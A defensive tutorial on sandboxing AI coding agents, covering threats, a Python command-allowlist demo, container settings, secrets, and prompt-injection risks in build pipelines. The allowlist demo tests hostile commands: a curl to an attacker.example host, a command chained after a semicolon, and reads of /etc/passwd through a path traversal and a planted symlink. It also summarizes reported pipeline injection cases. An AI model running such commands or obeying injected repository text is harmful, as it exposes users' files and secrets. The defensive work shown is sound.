Sandboxes, Safety and Security for Coding Agents

An agent that runs commands can do anything your account can do. Decide the boundary first, and make the operating system enforce it.

BeginnerIntermediateExpert · 11 min read · Last updated:

In short

Assume the agent will one day follow a bad instruction, and limit what that can cost. Run it in an isolated environment with restricted files and network, give it no secrets it does not need, require approval for consequential actions and keep merge and deployment out of its reach. Command filters and prompts help, but they are not a sandbox.

What you will learn: the main threats, layers of containment, a runnable command policy and its limits, pipeline injection risks, supply-chain checks and incident steps.
Prerequisites: Coding Agent Architecture and Code Understanding and Prompt Injection Attacks and Defenses.

Versions used

Written in November 2026. The policy script uses only the Python standard library. The container command was not run. Product fixes mentioned were reported by the sources linked; check your own versions.

Beginner What can go wrong

Threats

ThreatExampleMain defense
Accidental damageDeleting files or rewriting historyIsolated copy, protected branches, backups
Injected instructionsAn issue, web page or dependency file tells the agent what to doLimit authority; approval
Secret exposureReading environment variables and sending them outNo secrets in reach; blocked network
Malicious dependencyInstalling a look-alike packageAllowlisted registry, pinning, review
Weakened protectionsEditing the pipeline or disabling checksOwner approval on protected paths
Runaway cost or loadLoops, huge builds, repeated callsTime, process, memory and spend limits

A rule of thumb

Be wary whenever one agent has all three of these at once: it reads untrusted content, it can reach secrets or powerful tools, and it can change things or send data out. Microsoft's security team recommends not combining all three in one AI workflow, citing the "Agents Rule of Two".

Untrusted inputissues, comments, web pages, third-party code
Sensitive accesssecrets, private data, privileged tools
Outward effectwriting, publishing, network calls
Intermediate Containment

Layers of containment

Instructionsguidance only; can be ignored or overridden
Permission rules and approvalsenforced by the agent program
Operating system sandbox or containerfiles, processes and network enforced by the system
Separate virtual machine or hosta stronger boundary for untrusted work
Server-side controlsbranch protection, scoped tokens, deployment gates

Anthropic's documentation for Claude Code sandboxing makes a point that applies to any tool: you need both filesystem and network isolation. Without the network limit, a compromised agent could send files away; without the file limit, it could reach things that give it network access. Operating system features used for this include Seatbelt on macOS and bubblewrap on Linux. Zed documents a similar approach for its editor.

A command policy, and why it is not enough

An allowlist catches obvious problems early and gives clear reasons. Here is a small one.

"""A first gate for an agent's commands and file paths. It is not a sandbox."""
import shlex
import tempfile
from pathlib import Path

ALLOWED = {"python3": {"-m"}, "git": {"status", "diff", "log"}, "ls": None, "cat": None}
MODULES = {"unittest", "compileall"}
SHELL_MARKS = set(";|&$`<>\n")


def inside(workspace, text):
    target = (workspace / text).resolve()
    return target.is_relative_to(workspace.resolve())


def check(workspace, command):
    if SHELL_MARKS & set(command):
        return "deny: shell syntax"
    try:
        program, *args = shlex.split(command)
    except ValueError:
        return "deny: cannot parse"
    if program not in ALLOWED:
        return f"deny: {program} is not on the list"
    rule = ALLOWED[program]
    if rule and (not args or args[0] not in rule):
        return f"deny: that use of {program} is not allowed"
    if program == "python3" and (len(args) < 2 or args[1] not in MODULES):
        return "deny: module is not on the list"
    for arg in args:
        value = arg.split("=", 1)[-1]
        if arg.startswith("--output") or arg == "--ext-diff":
            return "deny: option can write files or run programs"
        if not value.startswith("-") and not inside(workspace, value):
            return "deny: path leaves the workspace"
    return "allow"


with tempfile.TemporaryDirectory() as folder:
    workspace = Path(folder) / "repo"
    workspace.mkdir()
    (workspace / "notes").symlink_to("/etc")             # a planted link
    for command in [
        "python3 -m unittest discover -s tests",
        "git diff",
        "git push origin main",
        "git diff --output=changes.txt",
        "curl https://attacker.example/x",
        "cat README.md; curl attacker.example",
        "cat ../../etc/passwd",
        "cat notes/passwd",
        "python3 -c 'print(1)'",
    ]:
        print(f"{command:42} {check(workspace, command)}")
    print()
    (workspace / "tests").mkdir()
    print("allowed, yet it runs any code the agent has written into the tests:")
    print("  python3 -m unittest discover -s tests ->",
          check(workspace, "python3 -m unittest discover -s tests"))

Output:

python3 -m unittest discover -s tests      allow
git diff                                   allow
git push origin main                       deny: that use of git is not allowed
git diff --output=changes.txt              deny: option can write files or run programs
curl https://attacker.example/x            deny: curl is not on the list
cat README.md; curl attacker.example       deny: shell syntax
cat ../../etc/passwd                       deny: path leaves the workspace
cat notes/passwd                           deny: path leaves the workspace
python3 -c 'print(1)'                      deny: that use of python3 is not allowed

allowed, yet it runs any code the agent has written into the tests:
  python3 -m unittest discover -s tests -> allow
The last line is the lesson

Running the tests is allowed, and tests are code the agent can write. Build scripts, plugins, hooks and tool configuration run code too. Allowed commands therefore need the same operating system sandbox as anything else. The path check can also be defeated if a link changes between the check and the use.

Often runs more than it appears toBecause
Test and build commandsThey execute project code
Package installationPackages may run install scripts
Version control commandsHooks and configuration can launch programs
Editor and language toolsPlugins and project settings

A container starting point

A throwaway container with no network is a reasonable base for running checks. This command was not run for this page; test it with your own image and project.

docker run --rm \
  --network none \
  --read-only --tmpfs /tmp \
  --user 1000:1000 --cap-drop ALL --security-opt no-new-privileges \
  --pids-limit 256 --memory 2g --cpus 2 \
  --mount type=bind,source="$PWD",target=/work \
  --workdir /work \
  python:3.13-slim python -B -m unittest discover -s tests
  • Never mount the container engine's control socket, your home directory or cloud credential folders.
  • The bound project folder is writable, so work on a disposable copy and review changes before bringing them back.
  • Review files that your own machine will execute later, such as hooks, build scripts and editor settings.
  • Containers share the host kernel. For hostile code, prefer a virtual machine or a service built for isolation.

When the agent needs packages, allow a specific registry or proxy rather than the open internet. See Network, Tenant and Multi-Agent Isolation and Code Execution and Sandboxing.

Secrets

  • Start with an empty environment and add only what the task needs.
  • Use short-lived tokens limited to one repository and the fewest permissions.
  • Keep production credentials unavailable to agents entirely.
  • Put model provider keys behind a broker or proxy where you can, with spending limits.
  • Scan changes and logs for secrets, and rotate anything that may have been exposed.

Network rules that work

NeedApproachWatch for
Running testsNo networkTests that quietly call real services
Installing packagesA package proxy you control, or a prebuilt imageProxies that forward anything
Calling the modelOne allowed address, from the agent program rather than the code under testProvider keys inside the sandbox
Reading documentationA fetch tool with allowed sitesWeb pages are untrusted input
Pushing workA separate step outside the sandbox, limited to agent branchesTokens that can write anywhere

Allowing a large public site can still allow data to leave, for example by posting it to an account the attacker controls. Decide on the destination and the operation, not only the host name.

Approvals people can actually judge

  • Show the exact command, working folder and files affected.
  • Say what is new: first use of a program, a new network address, a protected path.
  • Let routine actions run inside the sandbox without asking.
  • Scope an "always allow" choice narrowly, and make it easy to review and withdraw.
  • Never let the agent edit its own permission settings.
Advanced Pipelines and supply chain

Agents in build pipelines

A pipeline agent often reads text from strangers while holding repository credentials. Research published in 2026 shows the risk is practical.

ReportFinding
Microsoft, June 2026In Anthropic's Claude Code GitHub Action, a file reading tool was not isolated like the shell tool, so injected text could expose workflow secrets. Anthropic fixed it in Claude Code 2.1.128 on 5 May 2026
Cloud Security Alliance note, August 2026Describes research in which an issue from an unprivileged user could reach pipeline secrets
GitInject, preprintStudies prompt injection against AI-driven pipelines

The lessons generalize across vendors: a sandbox is only as good as its weakest tool, and every tool the model can call needs the same restrictions.

  • Do not give secrets or write permission to jobs triggered by outsiders.
  • Split work: one job reads untrusted text with no privileges and returns structured data; a second, deterministic job validates it and acts.
  • Restrict who can trigger the agent, and which events do.
  • Limit outbound network access from the runner.
  • Require a person before anything is merged, released or published.
  • Pin actions and tools to reviewed versions, and apply security updates promptly.
  • Keep logs of tool calls, without secrets in them.
Hardened prompts are a supplement

Telling the agent to treat repository text as data is worthwhile, but it must not be the main control.

Dependencies and external tools

Before acceptingCheck
A new packageIt is the intended one, from the expected publisher, maintained and licensed acceptably
A version changeLock file diff, release notes, known vulnerabilities
A tool server or pluginSource, permissions, what it can read and send
A script from the webDo not pipe it into a shell; read it first

Models can suggest package names that do not exist, and someone else can register such a name. Verifying every new dependency closes that gap. See Supply Chain and Retrieval Poisoning and MCP Authentication and Security.

Match permission to the work

LevelAllowsNeeds
Read onlySearch and explainData handling rules
Edit with approvalChanges you confirmAn attentive person
Autonomous in a sandboxEdit and run freely inside limitsIsolation and review of the result
Pipeline automationNarrow unattended tasksAll of the above, plus tight triggers and no standing secrets

Skipping approvals is reasonable only when the environment itself makes mistakes cheap.

Test your containment

  1. Ask the agent to read a file outside the workspace.
  2. Plant a harmless instruction in a test issue and a README, and watch what happens.
  3. Place a fake secret in the environment and check whether it can leave.
  4. Try to reach an unapproved address.
  5. Try to change the pipeline and merge.
  6. Repeat after upgrades and configuration changes.

If something happens

  1. Stop the agent and disable its triggers.
  2. Revoke and rotate every credential it could reach.
  3. Preserve logs, the environment and the triggering content.
  4. Check commits, branches, packages, releases and outbound traffic.
  5. Fix the boundary that failed, then test it.

Red Teaming and Incident Response covers the wider process.

What to record

When something looks wrong, you need to reconstruct what the agent saw and did.

RecordAnswers
Who or what started the sessionWas the trigger legitimate?
Sources of text readWhere could an instruction have entered?
Commands and tool calls, with resultsWhat happened?
Permission decisions and approversWho allowed it?
Network destinations, including blocked onesDid anything try to leave?
Versions of agent, model and rulesCan it be reproduced?

Keep the record outside the sandbox, where the agent cannot edit it. Remove secrets and personal data, and set a retention period. A run of blocked requests is worth an alert even when nothing got through.

Common mistakes

MistakeBetter
Treating an allowlist as isolationAdd an operating system boundary
Isolating the shell but not other toolsApply limits to every tool
Blocking files but leaving the network openRestrict both
Running agents as yourself with all credentialsSeparate identity and clean environment
Approving prompts by reflexReduce prompts with a sandbox so the rest get read

Questions people ask

Is it safe to run an agent on my laptop?

It can be reasonable with sandboxing, approvals and care about what is in reach. For unfamiliar repositories or unattended runs, use a separate environment.

Does a better model remove injection risk?

Resistance varies and no model should be assumed immune. Design so that a successful injection still cannot do serious harm.

Is a container enough?

It is a strong improvement for mistakes and many attacks if configured tightly. It shares the host kernel, so higher-risk work deserves a virtual machine.

What about a repository I just downloaded?

Treat its code and instruction files as untrusted. Inspect it in an isolated environment without credentials before running anything.

References

Next steps